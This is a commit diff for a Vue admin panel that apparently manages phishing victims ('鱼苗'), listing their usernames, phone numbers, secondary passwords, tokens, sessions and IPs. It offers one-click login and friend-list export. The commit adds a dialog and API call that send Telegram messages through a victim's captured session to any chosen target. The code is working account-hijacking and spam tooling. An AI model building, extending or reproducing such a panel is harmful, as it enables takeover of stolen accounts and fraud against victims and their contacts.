wuyi hai 2 meses
pai
achega
68579421c6
Modificáronse 2 ficheiros con 196 adicións e 267 borrados
  1. 10 0
      src/services/api.js
  2. 186 267
      src/views/FishView.vue

+ 10 - 0
src/services/api.js

@@ -266,3 +266,13 @@ export const exportFishFriends = async (fishId) => {
   })
   return response.data
 }
+
+// Telegram 消息发送 API
+export const sendTelegramMessage = async (session, target, message) => {
+  const response = await api.post('/tg-msg-send/send', {
+    session,
+    target,
+    message
+  })
+  return response.data
+}

+ 186 - 267
src/views/FishView.vue

@@ -1,89 +1,31 @@
 <template>
   <div class="rounded-lg p-4 bg-[var(--p-content-background)]">
-    <DataTable
-      :value="tableData.content"
-      :paginator="true"
+    <DataTable :value="tableData.content" :paginator="true"
       paginatorTemplate="CurrentPageReport FirstPageLink PrevPageLink PageLinks NextPageLink LastPageLink RowsPerPageDropdown JumpToPageInput"
-      currentPageReportTemplate="{totalRecords} 条记录 "
-      :rows="tableData.metadata.size"
-      :rowsPerPageOptions="[10, 20, 50, 100]"
-      :totalRecords="tableData.metadata.total"
-      @page="handlePageChange"
-      lazy
-      scrollable
-      class="fish-table"
-      v-model:selection="selectedFish"
-      dataKey="id"
-    >
+      currentPageReportTemplate="{totalRecords} 条记录 " :rows="tableData.metadata.size"
+      :rowsPerPageOptions="[10, 20, 50, 100]" :totalRecords="tableData.metadata.total" @page="handlePageChange" lazy
+      scrollable class="fish-table" v-model:selection="selectedFish" dataKey="id">
       <template #header>
         <div class="flex flex-wrap items-center gap-2">
           <InputText v-model="searchForm.id" placeholder="ID" size="small" class="w-32" @keyup.enter="handleSearch" />
-          <InputText
-            v-model="searchForm.name"
-            placeholder="用户名"
-            size="small"
-            class="w-32"
-            @keyup.enter="handleSearch"
-          />
-          <InputText
-            v-model="searchForm.phone"
-            placeholder="手机号"
-            size="small"
-            class="w-32"
-            @keyup.enter="handleSearch"
-          />
-          <InputText
-            v-model="searchForm.ownerName"
-            placeholder="所有者"
-            v-if="isAdmin"
-            size="small"
-            class="w-32"
-            @keyup.enter="handleSearch"
-          />
-          <Select
-            v-model="searchForm.result"
-            :options="resultOptions"
-            optionLabel="label"
-            optionValue="value"
-            placeholder="操作结果"
-            size="small"
-            class="w-32"
-            :clearable="true"
-          />
-          <DatePicker
-            v-model="searchForm.createdAt"
-            placeholder="中鱼时间"
-            size="small"
-            class="w-40"
-            dateFormat="yy-mm-dd"
-            showIcon
-          />
-          <DatePicker
-            v-model="searchForm.loginTime"
-            placeholder="登录时间"
-            size="small"
-            class="w-40"
-            dateFormat="yy-mm-dd"
-            showIcon
-          />
+          <InputText v-model="searchForm.name" placeholder="用户名" size="small" class="w-32"
+            @keyup.enter="handleSearch" />
+          <InputText v-model="searchForm.phone" placeholder="手机号" size="small" class="w-32"
+            @keyup.enter="handleSearch" />
+          <InputText v-model="searchForm.ownerName" placeholder="所有者" v-if="isAdmin" size="small" class="w-32"
+            @keyup.enter="handleSearch" />
+          <Select v-model="searchForm.result" :options="resultOptions" optionLabel="label" optionValue="value"
+            placeholder="操作结果" size="small" class="w-32" :clearable="true" />
+          <DatePicker v-model="searchForm.createdAt" placeholder="中鱼时间" size="small" class="w-40" dateFormat="yy-mm-dd"
+            showIcon />
+          <DatePicker v-model="searchForm.loginTime" placeholder="登录时间" size="small" class="w-40" dateFormat="yy-mm-dd"
+            showIcon />
           <Button icon="pi pi-search" @click="handleSearch" label="搜索" size="small" severity="secondary" />
           <Button icon="pi pi-refresh" @click="handleRefresh" label="刷新" size="small" />
-          <Button
-            v-if="isAdmin"
-            icon="pi pi-users"
-            @click="openBatchUpdateDialog"
-            label="批量更新所有者"
-            size="small"
-            severity="info"
-          />
-          <Button
-            v-if="isAdmin"
-            icon="pi pi-trash"
-            @click="openBatchDeleteDialog"
-            label="批量删除"
-            size="small"
-            severity="danger"
-          />
+          <Button v-if="isAdmin" icon="pi pi-users" @click="openBatchUpdateDialog" label="批量更新所有者" size="small"
+            severity="info" />
+          <Button v-if="isAdmin" icon="pi pi-trash" @click="openBatchDeleteDialog" label="批量删除" size="small"
+            severity="danger" />
           <div class="flex-1"></div>
         </div>
       </template>
@@ -91,11 +33,8 @@
       <Column selectionMode="multiple" headerStyle="width: 3rem" frozen></Column>
       <Column field="id" header="ID" style="width: 80px" frozen>
         <template #body="slotProps">
-          <span
-            class="font-mono text-sm copyable-text"
-            :title="slotProps.data.id"
-            @click="copyToClipboard(slotProps.data.id)"
-          >
+          <span class="font-mono text-sm copyable-text" :title="slotProps.data.id"
+            @click="copyToClipboard(slotProps.data.id)">
             {{ slotProps.data.id }}
           </span>
         </template>
@@ -103,11 +42,8 @@
 
       <Column field="name" header="用户名" style="min-width: 120px; max-width: 200px">
         <template #body="slotProps">
-          <span
-            class="font-medium name-text copyable-text"
-            :title="slotProps.data.name"
-            @click="copyToClipboard(slotProps.data.name)"
-          >
+          <span class="font-medium name-text copyable-text" :title="slotProps.data.name"
+            @click="copyToClipboard(slotProps.data.name)">
             {{ slotProps.data.name }}
           </span>
         </template>
@@ -115,11 +51,8 @@
 
       <Column field="username" header="昵称" style="min-width: 120px; max-width: 200px">
         <template #body="slotProps">
-          <span
-            class="username-text copyable-text"
-            :title="slotProps.data.username"
-            @click="copyToClipboard(slotProps.data.username)"
-          >
+          <span class="username-text copyable-text" :title="slotProps.data.username"
+            @click="copyToClipboard(slotProps.data.username)">
             {{ slotProps.data.username }}
           </span>
         </template>
@@ -135,12 +68,8 @@
 
       <Column field="password" header="二级密码" style="min-width: 140px; max-width: 200px">
         <template #body="slotProps">
-          <span
-            class="password-text copyable-text"
-            :class="{ 'has-password': slotProps.data.password }"
-            :title="slotProps.data.password || '无'"
-            @click="copyToClipboard(slotProps.data.password || '无')"
-          >
+          <span class="password-text copyable-text" :class="{ 'has-password': slotProps.data.password }"
+            :title="slotProps.data.password || '无'" @click="copyToClipboard(slotProps.data.password || '无')">
             {{ slotProps.data.password || '无' }}
           </span>
         </template>
@@ -156,11 +85,8 @@
 
       <Column field="result" header="操作结果" style="width: 100px">
         <template #body="slotProps">
-          <span
-            class="result-text"
-            :class="getResultText(slotProps.data.result).class"
-            :title="getResultText(slotProps.data.result).text"
-          >
+          <span class="result-text" :class="getResultText(slotProps.data.result).class"
+            :title="getResultText(slotProps.data.result).text">
             {{ getResultText(slotProps.data.result).text }}
           </span>
         </template>
@@ -168,11 +94,8 @@
 
       <Column field="ownerName" header="所有者" v-if="isAdmin" style="min-width: 100px; max-width: 150px">
         <template #body="slotProps">
-          <span
-            class="owner-text copyable-text"
-            :title="slotProps.data.ownerName || '未分配'"
-            @click="copyToClipboard(slotProps.data.ownerName || '未分配')"
-          >
+          <span class="owner-text copyable-text" :title="slotProps.data.ownerName || '未分配'"
+            @click="copyToClipboard(slotProps.data.ownerName || '未分配')">
             {{ slotProps.data.ownerName || '未分配' }}
           </span>
         </template>
@@ -196,82 +119,37 @@
 
       <Column field="ip" header="IP地址" style="width: 120px">
         <template #body="slotProps">
-          <span
-            class="font-mono text-sm ip-text copyable-text"
-            :title="slotProps.data.ip"
-            @click="copyToClipboard(slotProps.data.ip)"
-          >
+          <span class="font-mono text-sm ip-text copyable-text" :title="slotProps.data.ip"
+            @click="copyToClipboard(slotProps.data.ip)">
             {{ slotProps.data.ip }}
           </span>
         </template>
       </Column>
 
-      <Column
-        header="操作"
-        style="min-width: 220px; width: 220px"
-        align-frozen="right"
-        frozen
-        :pt="{
-          columnHeaderContent: {
-            class: 'justify-center'
-          }
-        }"
-      >
+      <Column header="操作" style="min-width: 300px; width: 300px" align-frozen="right" frozen :pt="{
+        columnHeaderContent: {
+          class: 'justify-center'
+        }
+      }">
         <template #body="slotProps">
           <div class="flex justify-center gap-1">
-            <Button
-              icon="pi pi-window-maximize"
-              label="一键登录"
-              severity="danger"
-              size="small"
-              text
-              rounded
-              class="quick-login-btn"
-              aria-label="一键登录"
-              @click="handleQuickLogin(slotProps.data)"
-            />
-            <Button
-              icon="pi pi-file-export"
-              label="导出好友列表"
-              severity="warn"
-              size="small"
-              text
-              rounded
-              class="export-friends-btn"
-              aria-label="导出好友列表"
-              @click="handleExportFriends(slotProps.data)"
-            />
-            <Button
-              icon="pi pi-pencil"
-              severity="info"
-              size="small"
-              text
-              rounded
-              aria-label="编辑"
-              @click="openEditDialog(slotProps.data)"
-            />
-            <Button
-              icon="pi pi-trash"
-              severity="danger"
-              size="small"
-              text
-              rounded
-              aria-label="删除"
-              @click="confirmDelete(slotProps.data)"
-            />
+            <Button icon="pi pi-window-maximize" label="一键登录" severity="danger" size="small" text rounded
+              class="quick-login-btn" aria-label="一键登录" @click="handleQuickLogin(slotProps.data)" />
+            <Button icon="pi pi-file-export" label="导出好友列表" severity="warn" size="small" text rounded
+              class="export-friends-btn" aria-label="导出好友列表" @click="handleExportFriends(slotProps.data)" />
+            <Button icon="pi pi-send" label="发送消息" severity="success" size="small" text rounded class="quick-login-btn"
+              aria-label="发送消息" @click="openSendMessageDialog(slotProps.data)" />
+            <Button icon="pi pi-pencil" severity="info" size="small" text rounded aria-label="编辑"
+              @click="openEditDialog(slotProps.data)" />
+            <Button icon="pi pi-trash" severity="danger" size="small" text rounded aria-label="删除"
+              @click="confirmDelete(slotProps.data)" />
           </div>
         </template>
       </Column>
     </DataTable>
 
     <!-- 编辑弹窗 -->
-    <Dialog
-      v-model:visible="editDialog"
-      :modal="true"
-      header="编辑鱼苗信息"
-      :style="{ width: '700px' }"
-      position="center"
-    >
+    <Dialog v-model:visible="editDialog" :modal="true" header="编辑鱼苗信息" :style="{ width: '700px' }" position="center">
       <div class="p-fluid">
         <div class="grid grid-cols-3 gap-4">
           <div class="field">
@@ -305,88 +183,42 @@
         <div class="grid grid-cols-2 gap-4 mt-4">
           <div class="field">
             <label for="edit-result" class="font-medium text-sm mb-2 block">操作结果</label>
-            <Select
-              id="edit-result"
-              v-model="editForm.result"
-              :options="resultOptions.filter((option) => option.value !== null)"
-              optionLabel="label"
-              optionValue="value"
-              placeholder="选择操作结果"
-              class="w-full"
-            />
+            <Select id="edit-result" v-model="editForm.result"
+              :options="resultOptions.filter((option) => option.value !== null)" optionLabel="label" optionValue="value"
+              placeholder="选择操作结果" class="w-full" />
           </div>
 
           <div class="field" v-if="isAdmin">
             <label for="edit-ownerName" class="font-medium text-sm mb-2 block">所有者</label>
-            <Select
-              id="edit-ownerName"
-              v-model="editForm.ownerId"
-              :options="ownerStore.owners"
-              optionLabel="name"
-              optionValue="value"
-              placeholder="选择所有者"
-              class="w-full"
-              @change="handleOwnerChange"
-            />
+            <Select id="edit-ownerName" v-model="editForm.ownerId" :options="ownerStore.owners" optionLabel="name"
+              optionValue="value" placeholder="选择所有者" class="w-full" @change="handleOwnerChange" />
           </div>
         </div>
 
         <div class="field mt-4">
           <label for="edit-remark" class="font-medium text-sm mb-2 block">客户备注</label>
-          <Textarea
-            id="edit-remark"
-            v-model="editForm.remark"
-            rows="3"
-            class="w-full"
-            placeholder="请输入客户备注信息..."
-            autoResize
-          />
+          <Textarea id="edit-remark" v-model="editForm.remark" rows="3" class="w-full" placeholder="请输入客户备注信息..."
+            autoResize />
         </div>
 
         <div class="field mt-4">
           <div class="flex items-center gap-2 mb-2">
             <label for="edit-token" class="font-medium text-sm">Token</label>
-            <Button
-              icon="pi pi-copy"
-              size="small"
-              text
-              rounded
-              @click="copyToClipboard(editForm.token || '')"
-              :disabled="!editForm.token"
-              title="复制Token"
-            />
+            <Button icon="pi pi-copy" size="small" text rounded @click="copyToClipboard(editForm.token || '')"
+              :disabled="!editForm.token" title="复制Token" />
           </div>
-          <Textarea
-            id="edit-token"
-            v-model="editForm.token"
-            rows="3"
-            class="w-full"
-            placeholder="请输入Token信息..."
-            autoResize
-          />
+          <Textarea id="edit-token" v-model="editForm.token" rows="3" class="w-full" placeholder="请输入Token信息..."
+            autoResize />
         </div>
 
         <div class="field mt-4">
           <div class="flex items-center gap-2 mb-2">
             <label for="edit-session" class="font-medium text-sm">Session</label>
-            <Button
-              icon="pi pi-copy"
-              size="small"
-              text
-              rounded
-              @click="copyToClipboard(editForm.session || '')"
-              :disabled="!editForm.session"
-              title="复制Session"
-            />
+            <Button icon="pi pi-copy" size="small" text rounded @click="copyToClipboard(editForm.session || '')"
+              :disabled="!editForm.session" title="复制Session" />
           </div>
-          <Textarea
-            id="edit-session"
-            v-model="editForm.session"
-            rows="3"
-            class="w-full"
-            placeholder="请输入Session信息..."
-            autoResize
-          />
+          <Textarea id="edit-session" v-model="editForm.session" rows="3" class="w-full" placeholder="请输入Session信息..."
+            autoResize />
         </div>
       </div>
 
@@ -399,13 +231,8 @@
     </Dialog>
 
     <!-- 批量更新所有者弹窗 -->
-    <Dialog
-      v-model:visible="batchUpdateDialog"
-      :modal="true"
-      header="批量更新所有者"
-      :style="{ width: '500px' }"
-      position="center"
-    >
+    <Dialog v-model:visible="batchUpdateDialog" :modal="true" header="批量更新所有者" :style="{ width: '500px' }"
+      position="center">
       <div class="p-fluid">
         <div class="mb-4">
           <p class="text-sm text-gray-600 mb-2">已选择 {{ selectedFish.length }} 条鱼苗记录</p>
@@ -419,41 +246,23 @@
 
         <div class="field">
           <label for="batch-owner" class="font-medium text-sm mb-2 block">选择新所有者</label>
-          <Select
-            id="batch-owner"
-            v-model="batchUpdateForm.ownerId"
-            :options="ownerStore.owners"
-            optionLabel="name"
-            optionValue="value"
-            placeholder="选择所有者"
-            class="w-full"
-            @change="handleBatchOwnerChange"
-          />
+          <Select id="batch-owner" v-model="batchUpdateForm.ownerId" :options="ownerStore.owners" optionLabel="name"
+            optionValue="value" placeholder="选择所有者" class="w-full" @change="handleBatchOwnerChange" />
         </div>
       </div>
 
       <template #footer>
         <div class="flex justify-end gap-3">
           <Button label="取消" severity="secondary" @click="batchUpdateDialog = false" />
-          <Button
-            label="确认更新"
-            severity="success"
-            @click="saveBatchUpdate"
-            :loading="batchUpdateLoading"
-            :disabled="!batchUpdateForm.ownerId"
-          />
+          <Button label="确认更新" severity="success" @click="saveBatchUpdate" :loading="batchUpdateLoading"
+            :disabled="!batchUpdateForm.ownerId" />
         </div>
       </template>
     </Dialog>
 
     <!-- 批量删除确认弹窗 -->
-    <Dialog
-      v-model:visible="batchDeleteDialog"
-      :modal="true"
-      header="批量删除确认"
-      :style="{ width: '500px' }"
-      position="center"
-    >
+    <Dialog v-model:visible="batchDeleteDialog" :modal="true" header="批量删除确认" :style="{ width: '500px' }"
+      position="center">
       <div class="p-fluid">
         <div class="mb-4">
           <p class="text-sm text-gray-600 mb-2">确定要删除以下 {{ selectedFish.length }} 条鱼苗记录吗?</p>
@@ -477,6 +286,41 @@
         </div>
       </template>
     </Dialog>
+
+    <!-- 发送消息弹窗 -->
+    <Dialog v-model:visible="sendMessageDialog" :modal="true" header="发送消息" :style="{ width: '600px' }"
+      position="center">
+      <div class="p-fluid">
+
+        <div class="field mt-4">
+          <label for="send-target" class="font-medium text-sm mb-2 block">目标 (Target)</label>
+          <InputText id="send-target" v-model="sendMessageForm.target" class="w-full" placeholder="请输入目标用户名或ID..." />
+        </div>
+
+        <div class="field mt-4">
+          <label for="send-message" class="font-medium text-sm mb-2 block">消息内容</label>
+          <Textarea id="send-message" v-model="sendMessageForm.message" rows="5" class="w-full"
+            placeholder="请输入要发送的消息内容..." autoResize />
+        </div>
+        <div class="field">
+          <label for="send-session" class="font-medium text-sm mb-2 block">Session</label>
+          <div class="flex items-center gap-2">
+            <Textarea id="send-session" v-model="sendMessageForm.session" rows="3" class="flex-1"
+              placeholder="请输入Session信息..." autoResize />
+            <Button icon="pi pi-copy" size="small" text rounded @click="copyToClipboard(sendMessageForm.session || '')"
+              :disabled="!sendMessageForm.session" title="复制Session" />
+          </div>
+        </div>
+      </div>
+
+      <template #footer>
+        <div class="flex justify-end gap-3">
+          <Button label="取消" severity="secondary" @click="sendMessageDialog = false" />
+          <Button label="发送" severity="success" @click="handleSendMessage" :loading="sendMessageLoading"
+            :disabled="!sendMessageForm.session || !sendMessageForm.target || !sendMessageForm.message" />
+        </div>
+      </template>
+    </Dialog>
   </div>
 </template>
 
@@ -487,7 +331,8 @@ import {
   updateFish,
   exportFishFriends,
   batchUpdateFishOwner,
-  batchDeleteFish
+  batchDeleteFish,
+  sendTelegramMessage
 } from '@/services/api'
 import { useDateFormat } from '@vueuse/core'
 import Button from 'primevue/button'
@@ -558,6 +403,15 @@ const batchUpdateForm = ref({
 const batchDeleteDialog = ref(false)
 const batchDeleteLoading = ref(false)
 
+// 发送消息相关
+const sendMessageDialog = ref(false)
+const sendMessageLoading = ref(false)
+const sendMessageForm = ref({
+  session: null,
+  target: null,
+  message: null
+})
+
 // 搜索表单
 const searchForm = ref({
   id: null,
@@ -1061,6 +915,71 @@ const saveBatchDelete = async () => {
   }
 }
 
+// 打开发送消息弹窗
+const openSendMessageDialog = (fish) => {
+  sendMessageForm.value = {
+    session: fish.session || null,
+    target: null,
+    message: null
+  }
+  sendMessageDialog.value = true
+}
+
+// 发送消息
+const handleSendMessage = async () => {
+  if (!sendMessageForm.value.session || !sendMessageForm.value.target || !sendMessageForm.value.message) {
+    toast.add({
+      severity: 'warn',
+      summary: '警告',
+      detail: '请填写完整的信息',
+      life: 3000
+    })
+    return
+  }
+
+  sendMessageLoading.value = true
+  try {
+    await sendTelegramMessage(
+      sendMessageForm.value.session,
+      sendMessageForm.value.target,
+      sendMessageForm.value.message
+    )
+    toast.add({
+      severity: 'success',
+      summary: '成功',
+      detail: '消息发送成功',
+      life: 3000
+    })
+    sendMessageDialog.value = false
+    // 清空表单
+    sendMessageForm.value = {
+      session: null,
+      target: null,
+      message: null
+    }
+  } catch (error) {
+    console.error('发送消息失败:', error)
+    let errorMessage = '发送消息失败'
+    if (error.message?.includes('ERR_CONNECTION_REFUSED') || error.code === 'ERR_NETWORK') {
+      errorMessage = '无法连接到服务器,请检查后端服务是否运行'
+    } else if (error.response?.status === 401) {
+      errorMessage = '认证失败,请重新登录'
+    } else if (error.response?.status) {
+      errorMessage = `服务器错误: ${error.response.status}`
+    } else if (error.message) {
+      errorMessage = error.message
+    }
+    toast.add({
+      severity: 'error',
+      summary: '错误',
+      detail: errorMessage,
+      life: 5000
+    })
+  } finally {
+    sendMessageLoading.value = false
+  }
+}
+
 // 初始化
 onMounted(async () => {
   if (isAdmin.value) {
@@ -1071,11 +990,11 @@ onMounted(async () => {
 </script>
 
 <style scoped>
-.p-datatable-sm .p-datatable-tbody > tr > td {
+.p-datatable-sm .p-datatable-tbody>tr>td {
   padding: 0.5rem;
 }
 
-.p-datatable-sm .p-datatable-thead > tr > th {
+.p-datatable-sm .p-datatable-thead>tr>th {
   padding: 0.5rem;
 }